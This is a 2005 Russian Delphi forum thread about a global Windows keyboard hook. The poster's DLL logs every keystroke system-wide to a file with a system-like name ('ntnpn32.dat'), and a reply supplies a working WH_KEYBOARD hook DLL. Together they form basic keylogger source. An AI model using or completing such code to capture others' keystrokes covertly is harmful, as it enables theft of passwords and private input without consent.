![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Проблемы с SetWindowHookEx [D6, Win2k, WinXP]
KASioZ © (2005-01-02 11:09:00)Здравствуйте ув. программисты
У меня следующая проблема:
Я устанавливаю глобальную ловушку в системе.
В глобальной ловушке я ловлю все сообщения сис-мы, проверяю сообщение, если сообщение WM_KeyDown, то сохраняем в локальный файл нажатые клавиши.
Почему то моя программа сохраняет данные только в случае если моё приложение активно! Хотя хук глобальный и клавиши передаются в обработчик событий!
Это я проверяю ShowMessage, работает всегда.
Вот код DLL:
library myhookdll;
uses
SysUtils,
Windows,
Dialogs,
Messages;
var
HookHandle: HHOOK = 0;
F: File;
{$R *.res}
function KeyHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
var
buff: array [1..100] of char;
begin
if TMsg(Pointer(lParam)^).message = WM_KeyDown then
begin
GetKeyNameText(TMsg(Pointer(lParam)^).lParam, @buff, SizeOf(buff));
BlockWrite(F,buff,1);
ShowMessage(StrPas(@buff));
end;
result:=CallNextHookEx(HookHandle,code,wParam,lparam);
end;
procedure SetKeyHook; export; stdcall;
begin
AssignFile(f,'ntnpn32.dat');
if FileExists('ntnpn32.dat') then Reset(F,1)
else Rewrite(F,1);
if HookHandle = 0 then HookHandle:=SetWindowsHookEx(WH_GETMESSAGE,@KeyHook,hInstance, 0);
end;
procedure UnSetKeyHook; export; stdcall;
begin
CloseFile(F);
if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
HookHandle:=0;
end;
exports
SetKeyHook name 'SetKeyHook',
UnSetKeyHook name 'UnSetKeyHook';
begin
end.
Вот код загрузчика:
procedure TForm1.FormCreate(Sender: TObject);
begin
SetKeyHook;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnSetKeyHook;
end;
Piter (2005-01-02 13:25:00) [21]перед тем как разбираться с хуками, весьма желательно изучить более простые вещи - например, что такое ВАП и все с ним связанное.
Что касается хуков - есть статья на это сайте по хукам.
Vaitek (2005-01-02 12:31:00) [22]Не знаю, у меня такой работал.
library Key;
uses
WinTypes,
WinProcs,
Messages,
SysUtils,
Classes;
const
KeyEvent = WM_USER + 1;
var
HookHandle: hHook;
wnd: hWnd;
{$R *.res}
function KeyHook(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
begin
if Code >= 0 then
begin
wnd := FindWindow('TSVMain', nil);
SendMessage(wnd, KeyEvent, wParam, lParam);
Result := 0;
end else
Result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;
procedure SetKeyHook;
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0);
end;
procedure DelKeyHook;
begin
if HookHandle <> 0 then
UnhookWindowsHookEx(HookHandle);
end;
exports
SetKeyHook index 1,
DelKeyHook index 3;
Begin
end.
А в главном окне программы обрабатывал
procedure WM_NextMSG(var Msg: TMessage); message KeyEvent;